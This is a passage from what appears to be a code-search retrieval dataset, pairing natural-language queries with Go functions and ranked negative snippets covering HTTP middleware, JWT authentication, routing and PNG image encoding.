make(map[string]*sessionData),\\n\\t}\\n}\",\n \"func GetGroupControllers() []CreateGroupControllerFunc {\\n\\treturn groupHandlers\\n}\",\n \"func Middleware() func(http.Handler) http.Handler {\\n\\treturn func(next http.Handler) http.Handler {\\n\\t\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\t\\t// for _, cookie := range r.Cookies() {\\n\\t\\t\\t// \\tfmt.Fprint(w, cookie.Name)\\n\\t\\t\\t// \\tlog.Println(cookie.Name)\\n\\t\\t\\t// }\\n\\t\\t\\t// log.Println(formatRequest(r))\\n\\t\\t\\t// log.Println(r.Cookies())\\n\\t\\t\\t// c, err := r.Cookie(\\\"auth-cookie\\\")\\n\\n\\t\\t\\t// Allow unauthenticated users in\\n\\t\\t\\t// if err != nil || c == nil {\\n\\t\\t\\t// \\tnext.ServeHTTP(w, r)\\n\\t\\t\\t// \\treturn\\n\\t\\t\\t// }\\n\\n\\t\\t\\t_, claims, err := jwtauth.FromContext(r.Context())\\n\\t\\t\\t// Allow unauthenticated users in\\n\\t\\t\\tif claims == nil || err != nil {\\n\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t\\tnext.ServeHTTP(w, r)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tidentity := claims[\\\"session\\\"].(map[string]interface{})[\\\"identity\\\"]\\n\\t\\t\\tlog.Println(identity)\\n\\t\\t\\t// parsed, err := gabs.ParseJSON(claims)\\n\\t\\t\\t// log.Println(parsed)\\n\\t\\t\\t// log.Println(err)\\n\\n\\t\\t\\tnext.ServeHTTP(w, r)\\n\\t\\t})\\n\\t}\\n}\",\n \"func Middleware(ce *casbin.Enforcer) echo.MiddlewareFunc {\\n\\tc := DefaultConfig\\n\\tc.Enforcer = ce\\n\\treturn MiddlewareWithConfig(c)\\n}\",\n \"func (app *App) GetWithMiddleware(path string, f http.HandlerFunc) {\\n\\tapp.Router.Handle(path, auth.AuthMiddleware(f)).Methods(\\\"GET\\\")\\n}\",\n \"func Middleware(t *elasticapm.Tracer) mux.MiddlewareFunc {\\n\\treturn func(h http.Handler) http.Handler {\\n\\t\\treturn &apmhttp.Handler{\\n\\t\\t\\tHandler: h,\\n\\t\\t\\tRecovery: apmhttp.NewTraceRecovery(t),\\n\\t\\t\\tRequestName: routeRequestName,\\n\\t\\t\\tTracer: t,\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s *ControllerPool) GetControllerValidators(controllerName string) []Validator {\\n\\ts.mu.RLock()\\n\\tdefer s.mu.RUnlock()\\n\\tif len(s.controllerValidators) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tvalidators, ok := s.controllerValidators[controllerName]\\n\\tif !ok {\\n\\t\\treturn nil\\n\\t}\\n\\treturn validators\\n\\n}\",\n \"func NewMiddleWare(\\n\\tcustomClaimsFactory CustomClaimsFactory,\\n\\tvalidFunction CustomClaimsValidateFunction,\\n) *Middleware {\\n\\treturn &Middleware{\\n\\t\\t// todo: customize signing algorithm\\n\\t\\tSigningAlgorithm: \\\"HS256\\\",\\n\\t\\tJWTHeaderKey: \\\"Authorization\\\",\\n\\t\\tJWTHeaderPrefixWithSplitChar: \\\"Bearer \\\",\\n\\t\\tSigningKeyString: GetSignKey(),\\n\\t\\tSigningKey: []byte(GetSignKey()),\\n\\t\\tcustomClaimsFactory: customClaimsFactory,\\n\\t\\tvalidFunction: validFunction,\\n\\t\\t// MaxRefresh: default zero\\n\\t}\\n}\",\n \"func (d *InfoOutput) MiddlewareServers() []any {\\n\\tval := d.reply[\\\"middleware_servers\\\"]\\n\\n\\treturn val.([]any)\\n\\n}\",\n \"func GetApplicationHandler() *mux.Router {\\n\\trouter := mux.NewRouter()\\n\\n\\tsetupMiddlewares(router)\\n\\n\\t// Connect route sets to the main router.\\n\\tauthRouting(router)\\n\\tspotifyRouting(router)\\n\\tchlorineRouting(router)\\n\\twsRouting(router)\\n\\n\\treturn router\\n}\",\n \"func getCorsMiddleware() func(next http.Handler) http.Handler {\\n\\tcrs := cors.New(cors.Options{\\n\\t\\tAllowedOrigins: []string{\\\"*\\\"},\\n\\t\\tAllowedMethods: []string{\\\"GET\\\", \\\"POST\\\", \\\"PUT\\\", \\\"DELETE\\\", \\\"PATCH\\\", \\\"OPTIONS\\\"},\\n\\t\\tAllowedHeaders: []string{\\\"Accept\\\", \\\"Authorization\\\", \\\"Content-Type\\\", \\\"X-CSRF-Token\\\"},\\n\\t\\tAllowCredentials: true,\\n\\t\\tMaxAge: 300, // Maximum value not ignored by any of major browsers\\n\\t})\\n\\n\\treturn crs.Handler\\n}\",\n \"func (a *AuthMiddleware) GetAuthMiddleware() (*jwt.GinJWTMiddleware, error) {\\n\\tmiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\\n\\t\\tRealm: a.Realm,\\n\\t\\tKey: a.Key,\\n\\t\\tTimeout: a.Timeout,\\n\\t\\tMaxRefresh: a.MaxRefresh,\\n\\t\\tIdentityKey: a.IdentityKey,\\n\\t\\tPayloadFunc: func(data interface{}) jwt.MapClaims {\\n\\t\\t\\tif v, ok := data.(drepository.Manager); ok {\\n\\t\\t\\t\\treturn jwt.MapClaims{\\n\\t\\t\\t\\t\\ta.IdentityKey: v.ID,\\n\\t\\t\\t\\t\\t\\\"email\\\": v.Email,\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn jwt.MapClaims{}\\n\\t\\t},\\n\\t\\tIdentityHandler: func(c *gin.Context) interface{} {\\n\\t\\t\\tclaims := jwt.ExtractClaims(c)\\n\\n\\t\\t\\tid, _ := primitive.ObjectIDFromHex(claims[a.IdentityKey].(string))\\n\\n\\t\\t\\tc.Set(\\\"managerID\\\", claims[a.IdentityKey].(string))\\n\\n\\t\\t\\treturn drepository.Manager{\\n\\t\\t\\t\\tID: id,\\n\\t\\t\\t\\tEmail: claims[\\\"email\\\"].(string),\\n\\t\\t\\t}\\n\\t\\t},\\n\\t\\tAuthenticator: func(c *gin.Context) (interface{}, error) {\\n\\t\\t\\tvar loginValues login\\n\\n\\t\\t\\tif err := c.ShouldBind(&loginValues); err != nil {\\n\\t\\t\\t\\treturn \\\"\\\", jwt.ErrMissingLoginValues\\n\\t\\t\\t}\\n\\n\\t\\t\\tfind := &dto.FindManagers{Email: loginValues.Email}\\n\\t\\t\\tmanager := drepository.Manager{}\\n\\t\\t\\t_ = manager.FindOne(find)\\n\\n\\t\\t\\tif err := bcrypt.CompareHashAndPassword(\\n\\t\\t\\t\\t[]byte(manager.Password), []byte(loginValues.Password)); err == nil {\\n\\t\\t\\t\\treturn manager, nil\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil, jwt.ErrFailedAuthentication\\n\\t\\t},\\n\\t\\tAuthorizator: func(data interface{}, c *gin.Context) bool {\\n\\t\\t\\tif v, ok := data.(drepository.Manager); ok {\\n\\t\\t\\t\\tc.Set(a.IdentityKey, v.ID)\\n\\t\\t\\t\\tc.Set(\\\"email\\\", v.Email)\\n\\t\\t\\t\\treturn true\\n\\t\\t\\t}\\n\\t\\t\\treturn false\\n\\t\\t},\\n\\t\\tUnauthorized: func(c *gin.Context, code int, message string) {\\n\\t\\t\\tc.JSON(code, gin.H{\\n\\t\\t\\t\\t\\\"code\\\": code,\\n\\t\\t\\t\\t\\\"message\\\": message,\\n\\t\\t\\t})\\n\\t\\t},\\n\\n\\t\\tTokenLookup: \\\"header: Authorization, query: token, cookie: token\\\",\\n\\t\\tTokenHeadName: \\\"Bearer\\\",\\n\\t\\tTimeFunc: time.Now,\\n\\t})\\n\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"JWT Error:\\\" + err.Error())\\n\\t}\\n\\n\\treturn middleware, err\\n}\",\n \"func Middleware(f MiddlewareFunc) {\\n\\tDefaultMux.Middleware(f)\\n}\",\n \"func Middleware(next http.Handler) http.Handler {\\n\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tDebug.Println(\\\"Method received is :\\\", r.Method)\\n\\t\\tswitch m := r.Method; string(m) {\\n\\t\\t//On get method token verification is skipped\\n\\t\\tcase \\\"GET\\\":\\n\\t\\t\\tInfo.Println(\\\"On Get Method, no authentication needed\\\")\\n\\t\\t\\t//Authorization process on middleware not needed, head on to request handlers\\n\\t\\t\\tnext.ServeHTTP(w, r)\\n\\t\\t//Verify token for the following methods\\n\\t\\tcase \\\"POST\\\", \\\"PUT\\\", \\\"DELETE\\\":\\n\\t\\t\\tsentToken := r.Header.Get(\\\"Authorization\\\")\\n\\t\\t\\tInfo.Println(\\\"Checking token\\\", sentToken)\\n\\t\\t\\tauthError := simpleAuth(w, r)\\n\\t\\t\\tif authError != \\\"\\\" {\\n\\t\\t\\t\\tNotAuthorized(w, r)\\n\\t\\t\\t\\tInfo.Println(\\\"Not token given ! \\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t//Authorization process on middleware level done, head on to request handlers\\n\\t\\t\\t\\tnext.ServeHTTP(w, r)\\n\\t\\t\\t}\\n\\t\\t//In case a non defined http method is sent\\n\\t\\tdefault:\\n\\t\\t\\tfmt.Print(\\\"not here \\\")\\n\\t\\t\\tw.Write([]byte(\\\"Not a supported http method\\\"))\\n\\t\\t\\t//Error.Fatal(\\\"Not a supported method ! \\\")\\n\\t\\t}\\n\\t\\tInfo.Println(\\\"End of middle level...\\\")\\n\\t})\\n}\",\n \"func UseMiddleware(mw ...Middleware) func(http.HandlerFunc) http.Handler {\\n\\treturn func(fn http.HandlerFunc) http.Handler {\\n\\t\\treturn useMiddlewareHandler(fn, mw...)\\n\\t}\\n}\",\n \"func (e *Engine) Middleware(middleware ...Handler) *Middleware {\\n\\treturn &Middleware{\\n\\t\\tchain: middleware,\\n\\t\\tengine: e,\\n\\t}\\n}\",\n \"func Middleware(\\n\\tenv *Env,\\n) func(http.Handler) http.Handler {\\n\\treturn func(h http.Handler) http.Handler {\\n\\t\\treturn middleware{h, env}\\n\\t}\\n}\",\n \"func InitMiddleware() *Middleware {\\n\\treturn &Middleware{}\\n}\",\n \"func ChainMiddleware(mw ...Middleware) Middleware {\\n\\treturn func(final Handler) Handler {\\n\\t\\treturn func(ctx context.Context, req Request) Response {\\n\\t\\t\\tlast := final\\n\\t\\t\\tfor i := len(mw) - 1; i >= 0; i-- {\\n\\t\\t\\t\\tlast = mw[i](last)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// last middleware\\n\\t\\t\\treturn last(ctx, req)\\n\\t\\t}\\n\\t}\\n}\",\n \"func ChainMiddleware(mw ...Middleware) Middleware {\\n\\treturn func(final Handler) Handler {\\n\\t\\treturn func(ctx context.Context, req Request) Response {\\n\\t\\t\\tlast := final\\n\\t\\t\\tfor i := len(mw) - 1; i >= 0; i-- {\\n\\t\\t\\t\\tlast = mw[i](last)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// last middleware\\n\\t\\t\\treturn last(ctx, req)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s *Subrouter) HandleMiddlewares(m, p string, mids ...interface{}) {\\n\\tk := s.prefix + resolvedPath(p)\\n\\n\\ts.initEndp(k)\\n\\n\\tfor _, mid := range mids {\\n\\t\\tif h, ok := mid.(http.Handler); ok {\\n\\t\\t\\ts.endps[k][m] = append(s.endps[k][m], h)\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif hfunc, ok := mid.(func(http.ResponseWriter, *http.Request)); ok {\\n\\t\\t\\ts.endps[k][m] = append(s.endps[k][m], http.HandlerFunc(hfunc))\\n\\t\\t}\\n\\t}\\n}\",\n \"func WithMiddleware(middleware Middleware, rs ...Route) []Route {\\n\\troutes := make([]Route, len(rs))\\n\\n\\tfor i := range rs {\\n\\t\\troute := rs[i]\\n\\t\\troutes[i] = Route{\\n\\t\\t\\tMethod: route.Method,\\n\\t\\t\\tPath: route.Path,\\n\\t\\t\\tHandler: middleware(route.Handler),\\n\\t\\t}\\n\\t}\\n\\n\\treturn routes\\n}\",\n \"func getAppsHandler(w http.ResponseWriter, r *http.Request) {\\n\\tvar apps []App\\n\\terr := getApps(&apps)\\n\\tcheck(err)\\n\\trespondWithResult(w, apps)\\n}\",\n \"func (controller *WidgetsController) GetRoutes() []string {\\n\\treturn []string{\\n\\t\\t\\\"api/widgets\\\",\\n\\t}\\n}\",\n \"func setupMiddlewares(handler http.Handler) http.Handler {\\n\\treturn responseLoggingMiddleware(handler)\\n}\",\n \"func composeMiddleware(middlewares ...*Middleware) *Middleware {\\n\\treturn &Middleware{\\n\\t\\tAPI: func(h http.Handler) http.Handler {\\n\\t\\t\\tfor _, m := range middlewares {\\n\\t\\t\\t\\th = m.API(h)\\n\\t\\t\\t}\\n\\t\\t\\treturn h\\n\\t\\t},\\n\\t\\tApp: func(h http.Handler) http.Handler {\\n\\t\\t\\tfor _, m := range middlewares {\\n\\t\\t\\t\\th = m.App(h)\\n\\t\\t\\t}\\n\\t\\t\\treturn h\\n\\t\\t},\\n\\t}\\n}\",\n \"func FiberMiddleware(a *fiber.App) {\\n\\ta.Use(\\n\\t\\t// Add CORS to each route.\\n\\t\\tcors.New(cors.Config{\\n\\t\\t\\tAllowCredentials: true,\\n\\t\\t}),\\n\\t\\t// Add simple logger.\\n\\t\\tlogger.New(),\\n\\t\\t// Add helmet to secure app by setting various HTTP headers\\n\\t\\thelmet.New(),\\n\\t\\t// Add rate limiting\\n\\t\\tlimiter.New(\\n\\t\\t\\tlimiter.Config{\\n\\t\\t\\t\\tMax: 200,\\n\\t\\t\\t\\tNext: func(c *fiber.Ctx) bool {\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\texcludePaths := []string{\\\"views\\\",\\\"scores\\\"}\\n\\t\\t\\t\\t\\tvar next bool\\n\\t\\t\\t\\t\\tfor _, path := range excludePaths{\\n\\t\\t\\t\\t\\t\\tnext = strings.Contains(c.Route().Path, path)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn next\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t),\\n\\t)\\n}\",\n \"func (router *Router) Handlers() gin.HandlersChain {\\n\\treturn router.currentRouter.Handlers\\n}\",\n \"func AuthMiddleware() gin.HandlerFunc {\\n\\treturn func(c *gin.Context) {\\n\\t\\tauthHeader := c.GetHeader(\\\"authorization\\\")\\n\\t\\tif authHeader == \\\"\\\" || len(authHeader) < len(\\\"Token\\\")+1 {\\n\\t\\t\\trestErr := resterror.NewUnAuthorizedError()\\n\\t\\t\\tc.JSON(restErr.StatusCode, restErr)\\n\\t\\t\\tc.Abort()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\ttoken := authHeader[len(\\\"Token \\\"):]\\n\\n\\t\\tauthService := services.JWTAuthService()\\n\\t\\tresult, err := authService.ValidateToken(token)\\n\\t\\tif err != nil || !result.Valid {\\n\\t\\t\\trestErr := resterror.NewUnAuthorizedError()\\n\\t\\t\\tc.JSON(restErr.StatusCode, restErr)\\n\\t\\t\\tc.Abort()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tclaims := result.Claims.(jwt.MapClaims)\\n\\t\\tc.Set(\\\"user_id\\\", claims[\\\"user_id\\\"])\\n\\t\\tc.Set(\\\"is_admin\\\", claims[\\\"is_admin\\\"])\\n\\n\\t\\tc.Next()\\n\\t}\\n}\",\n \"func GetRoutes() *httprouter.Router {\\n\\trouter := httprouter.New()\\n\\t///////////////////////////////////////////////////////////\\n\\t// Main application routes\\n\\t///////////////////////////////////////////////////////////\\n\\n\\tapplication := controllers.Application{}\\n\\trouter.GET(\\\"/\\\", route(application.Index))\\n\\trouter.GET(\\\"/api/products\\\", route(application.AllProducts))\\n\\trouter.GET(\\\"/api/products/match\\\", route(application.Match))\\n\\n\\t///////////////////////////////////////////////////////////\\n\\t// Static routes\\n\\t// Caching Static files\\n\\t///////////////////////////////////////////////////////////\\n\\tfileServer := http.FileServer(http.Dir(\\\"public\\\"))\\n\\trouter.GET(\\\"/static/*filepath\\\", gzip.Middleware(func(res http.ResponseWriter, req *http.Request, pm httprouter.Params) {\\n\\t\\tres.Header().Set(\\\"Vary\\\", \\\"Accept-Encoding\\\")\\n\\t\\tres.Header().Set(\\\"Cache-Control\\\", \\\"public, max-age=7776000\\\")\\n\\t\\treq.URL.Path = pm.ByName(\\\"filepath\\\")\\n\\t\\tfileServer.ServeHTTP(res, req)\\n\\t}))\\n\\treturn router\\n}\",\n \"func Default() Middleware {\\n\\treturn defaultMiddleware\\n}\",\n \"func ChainMiddleware(f http.Handler, middlewares ...Middleware) http.Handler {\\n\\tfor _, m := range middlewares {\\n\\t\\tf = m(f)\\n\\t}\\n\\treturn f\\n}\",\n \"func handleMiddlewares(ctx context.Context, m []Middlewarer) error {\\n\\tfor i := 0; i < len(m); i++ {\\n\\t\\tif err := m[i].Do(ctx); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Middleware(ce *casbin.Enforcer, sc DataSource) echo.MiddlewareFunc {\\n\\tc := DefaultConfig\\n\\tc.Enforcer = ce\\n\\tc.Source = sc\\n\\treturn MiddlewareWithConfig(c)\\n}\",\n \"func GetAuthMiddleware(cfg *types.Config) gin.HandlerFunc {\\n\\tif !cfg.OIDCEnable {\\n\\t\\treturn gin.BasicAuth(gin.Accounts{\\n\\t\\t\\t// Use the config's username and password for basic auth\\n\\t\\t\\tcfg.Username: cfg.Password,\\n\\t\\t})\\n\\t}\\n\\treturn CustomAuth(cfg)\\n}\",\n \"func (r *Router) Middlewares(middlewares Middlewares) *Router {\\n\\tr.middlewares = middlewares\\n\\n\\treturn r\\n}\",\n \"func Middleware(next http.Handler) http.Handler {\\n\\t// requests that go through it.\\n\\treturn nethttp.Middleware(opentracing.GlobalTracer(),\\n\\t\\tnext,\\n\\t\\tnethttp.OperationNameFunc(func(r *http.Request) string {\\n\\t\\t\\treturn \\\"HTTP \\\" + r.Method + \\\" \\\" + r.URL.String()\\n\\t\\t}))\\n}\",\n \"func Middleware(e *echo.Echo) {\\n\\te.Use(\\n\\t\\tmiddleware.Logger(),\\n\\t\\tmiddleware.Recover(),\\n\\t\\tcontext.InjectBezuncAPIContext,\\n\\t)\\n}\",\n \"func (m *Middleware) Middleware(middleware ...Handler) *Middleware {\\n\\treturn &Middleware{\\n\\t\\tchain: append(m.chain, middleware...),\\n\\t\\tengine: m.engine,\\n\\t}\\n}\",\n \"func ChainMiddlewares(middlewares []Middleware, handler http.HandlerFunc) http.HandlerFunc {\\n\\tmiddlewaresCount := len(middlewares)\\n\\tfor i := middlewaresCount - 1; i >= 0; i-- {\\n\\t\\thandler = middlewares[i](handler)\\n\\t}\\n\\treturn handler\\n}\",\n \"func Middleware(next http.Handler) http.Handler {\\n\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tif app != nil {\\n\\t\\t\\ttxn := app.StartTransaction(r.URL.Path, w, r)\\n\\t\\t\\tfor k, v := range r.URL.Query() {\\n\\t\\t\\t\\ttxn.AddAttribute(k, strings.Join(v, \\\",\\\"))\\n\\t\\t\\t}\\n\\t\\t\\tdefer txn.End()\\n\\t\\t}\\n\\t\\tnext.ServeHTTP(w, r)\\n\\t})\\n}\",\n \"func (r *Routing) Middleware(middleware ...Middleware) *Routing {\\n\\tr.middleware = middleware\\n\\treturn r\\n}\",\n \"func chainMiddleware(mw ...Middleware) Middleware {\\n\\treturn func(final http.HandlerFunc) http.HandlerFunc {\\n\\t\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\t\\tlast := final\\n\\t\\t\\tfor i := len(mw) - 1; i >= 0; i-- {\\n\\t\\t\\t\\tlast = mw[i](last)\\n\\t\\t\\t}\\n\\t\\t\\tlast(w, r)\\n\\t\\t}\\n\\t}\\n}\",\n \"func Middleware(store sessions.Store) echo.MiddlewareFunc {\\n\\tc := DefaultConfig\\n\\tc.Store = store\\n\\treturn MiddlewareWithConfig(c)\\n}\",\n \"func GetRoutes() *mux.Router {\\n\\trouter := mux.NewRouter()\\n\\trouter.HandleFunc(\\\"/api/V1/getInfoCurp/{encode_curp}\\\", getInfoCurp).Name(\\\"getInfoCurp\\\").Methods(\\\"GET\\\")\\n\\treturn router\\n}\",\n \"func Chain(f http.HandlerFunc, middlewares ...Middleware) http.HandlerFunc {\\n for _, middleware := range(middlewares) {\\n f = middleware(f)\\n }\\n return f\\n}\",\n \"func FindTokenMiddleware() func(next http.Handler) http.Handler {\\n\\treturn func(next http.Handler) http.Handler {\\n\\t\\t// functions which find `iam` token\\n\\t\\tfindTokenFns := []findTokenFn{iamTokenFromHeader(\\\"Authorization\\\"), iamTokenFromQuery,\\n\\t\\t\\tiamTokenFromCookie, iamTokenFromHeader(\\\"iam\\\")}\\n\\t\\tfn := func(w http.ResponseWriter, r *http.Request) {\\n\\t\\t\\tvar token string\\n\\t\\t\\tfor _, fn := range findTokenFns {\\n\\t\\t\\t\\ttoken = fn(r)\\n\\t\\t\\t\\tif token != \\\"\\\" {\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif token == \\\"\\\" {\\n\\t\\t\\t\\tjsend.Wrap(w).Message(ErrNoTokenFound.Error()).Status(http.StatusUnauthorized).Send()\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tctx := context.WithValue(r.Context(), RequestContext(\\\"token\\\"), token)\\n\\t\\t\\t\\tnext.ServeHTTP(w, r.WithContext(ctx))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn http.HandlerFunc(fn)\\n\\t}\\n}\",\n \"func Middleware(next http.Handler, options MiddlewareOptions) http.Handler {\\n\\treturn &ipFilteringMiddleware{IpFiltering: New(options.Options), options: options, next: next}\\n}\",\n \"func getControllerRPCHandler(anonymous bool) http.Handler {\\n\\tvar mwHandlers = []MiddlewareHandler{\\n\\t\\tTimeValidityHandler,\\n\\t}\\n\\tif !anonymous {\\n\\t\\tmwHandlers = append(mwHandlers, RPCSignatureHandler)\\n\\t}\\n\\n\\ts := jsonrpc.NewServer()\\n\\tcodec := json.NewCodec()\\n\\ts.RegisterCodec(codec, \\\"application/json\\\")\\n\\ts.RegisterCodec(codec, \\\"application/json; charset=UTF-8\\\")\\n\\ts.RegisterService(new(controllerRPCService), \\\"Controller\\\")\\n\\tmux := router.NewRouter()\\n\\t// Add new RPC services here\\n\\tmux.Handle(\\\"/rpc\\\", s)\\n\\tmux.Handle(\\\"/{file:.*}\\\", http.FileServer(assetFS()))\\n\\n\\trpcHandler := registerCustomMiddleware(mux, mwHandlers...)\\n\\treturn rpcHandler\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6419103","0.6211688","0.61628675","0.6031341","0.5955591","0.5802908","0.56362545","0.54032224","0.5367737","0.53534836","0.53442407","0.529051","0.5279008","0.52649045","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.5256612","0.521647","0.5192364","0.51825863","0.5174428","0.51515365","0.5149336","0.5125414","0.5121024","0.51113814","0.5094834","0.5090577","0.5086743","0.50555545","0.5042353","0.5030691","0.5012101","0.5008519","0.50054353","0.49823117","0.49772537","0.49686903","0.49553296","0.4948817","0.49194828","0.49031052","0.48996213","0.4890169","0.4881907","0.48812118","0.48748577","0.48716825","0.48698723","0.485605","0.485605","0.48414254","0.48329777","0.48222396","0.4820438","0.48171923","0.48109463","0.4809756","0.48007685","0.4797644","0.4788448","0.4787487","0.47852716","0.47841188","0.47837612","0.4774847","0.47642308","0.47642002","0.4763142","0.47615755","0.47529924","0.47464553","0.47457775","0.47363845","0.47294402","0.47173697","0.47136715","0.4704914","0.4703712","0.47023794"],"string":"[\n \"0.6419103\",\n \"0.6211688\",\n \"0.61628675\",\n \"0.6031341\",\n \"0.5955591\",\n \"0.5802908\",\n \"0.56362545\",\n \"0.54032224\",\n \"0.5367737\",\n \"0.53534836\",\n \"0.53442407\",\n \"0.529051\",\n \"0.5279008\",\n \"0.52649045\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.5256612\",\n \"0.521647\",\n \"0.5192364\",\n \"0.51825863\",\n \"0.5174428\",\n \"0.51515365\",\n \"0.5149336\",\n \"0.5125414\",\n \"0.5121024\",\n \"0.51113814\",\n \"0.5094834\",\n \"0.5090577\",\n \"0.5086743\",\n \"0.50555545\",\n \"0.5042353\",\n \"0.5030691\",\n \"0.5012101\",\n \"0.5008519\",\n \"0.50054353\",\n \"0.49823117\",\n \"0.49772537\",\n \"0.49686903\",\n \"0.49553296\",\n \"0.4948817\",\n \"0.49194828\",\n \"0.49031052\",\n \"0.48996213\",\n \"0.4890169\",\n \"0.4881907\",\n \"0.48812118\",\n \"0.48748577\",\n \"0.48716825\",\n \"0.48698723\",\n \"0.485605\",\n \"0.485605\",\n \"0.48414254\",\n \"0.48329777\",\n \"0.48222396\",\n \"0.4820438\",\n \"0.48171923\",\n \"0.48109463\",\n \"0.4809756\",\n \"0.48007685\",\n \"0.4797644\",\n \"0.4788448\",\n \"0.4787487\",\n \"0.47852716\",\n \"0.47841188\",\n \"0.47837612\",\n \"0.4774847\",\n \"0.47642308\",\n \"0.47642002\",\n \"0.4763142\",\n \"0.47615755\",\n \"0.47529924\",\n \"0.47464553\",\n \"0.47457775\",\n \"0.47363845\",\n \"0.47294402\",\n \"0.47173697\",\n \"0.47136715\",\n \"0.4704914\",\n \"0.4703712\",\n \"0.47023794\"\n]"},"document_score":{"kind":"string","value":"0.7565483"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106147,"cells":{"query":{"kind":"string","value":"Encode takes an image and writes the encoded png image to it."},"document":{"kind":"string","value":"func Encode(i image.Image, w http.ResponseWriter) error {\n\tw.Header().Set(\"Content-Type\", \"image/png\")\n\n\tencoder := png.Encoder{\n\t\tCompressionLevel: png.BestCompression,\n\t}\n\n\tif err := encoder.Encode(w, i); err != nil {\n\t\treturn errors.Wrap(err, \"can't encode the png\")\n\t}\n\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (p *pngEncoder) Encode(img image.Image) error {\n\tfile, err := os.OpenFile(fmt.Sprintf(p.path, p.frame), os.O_WRONLY|os.O_CREATE, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = file.Truncate(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = png.Encode(file, img)\n\tif err != nil {\n\t\treturn err\n\t}\n\tp.frame++\n\treturn nil\n}","func Encode(w io.Writer, m image.Image) error {}","func Encode(w io.Writer, m image.Image, o *Options) error","func Encode(w io.Writer, m image.Image, o *Options) error","func encodePNG(dstFilename string, src image.Image) error {\n\tf, err := os.Create(dstFilename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tencErr := png.Encode(f, src)\n\tcloseErr := f.Close()\n\tif encErr != nil {\n\t\treturn encErr\n\t}\n\treturn closeErr\n}","func Encode(w io.Writer, img image.Image, format Format) error {\n\tvar err error\n\n\tswitch format {\n\tcase PNG:\n\t\terr = png.Encode(w, img)\n\tcase JPEG:\n\t\terr = jpeg.Encode(w, img, &jpeg.Options{Quality: 95})\n\t}\n\n\treturn err\n}","func Encode(w io.Writer, m image.Image, opt *Options) (err error) {\n\treturn encode(w, m, opt)\n}","func WriteImage(i image.Image, path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\t// Encode to `PNG` with `DefaultCompression` level\n\t// then save to file\n\terr = png.Encode(f, i)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func execEncode(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := png.Encode(args[0].(io.Writer), args[1].(image.Image))\n\tp.Ret(2, ret)\n}","func SaveImage(img *image.Image, filename string) {\n Trace.Println(\"SaveImage(\" + filename + \")\")\n\n out, err := os.Create(filename)\n if err != nil {\n Warning.Println(\"Unable to create file '\" + filename + \"': \" + err.Error())\n }\n\n err = png.Encode(out, *img)\n if err != nil {\n Warning.Println(\"Unable to write '\" + filename + \"': \" + err.Error())\n }\n}","func execmEncoderEncode(_ int, p *gop.Context) {\n\targs := p.GetArgs(3)\n\tret := args[0].(*png.Encoder).Encode(args[1].(io.Writer), args[2].(image.Image))\n\tp.Ret(3, ret)\n}","func saveImage(img image.Image, outputFilename string) {\n\toutFile, err := os.Create(outputFilename)\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n\n\tdefer outFile.Close()\n\tb := bufio.NewWriter(outFile)\n\terr = png.Encode(b, img)\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n\n\terr = b.Flush()\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n}","func EncodeImage(img draw.Image) {\n\tbounds := img.Bounds()\n\n\tswitch inputImg := img.(type) {\n\n\tcase *image.RGBA64:\n\t\tfor i := bounds.Min.Y; i < bounds.Max.Y; 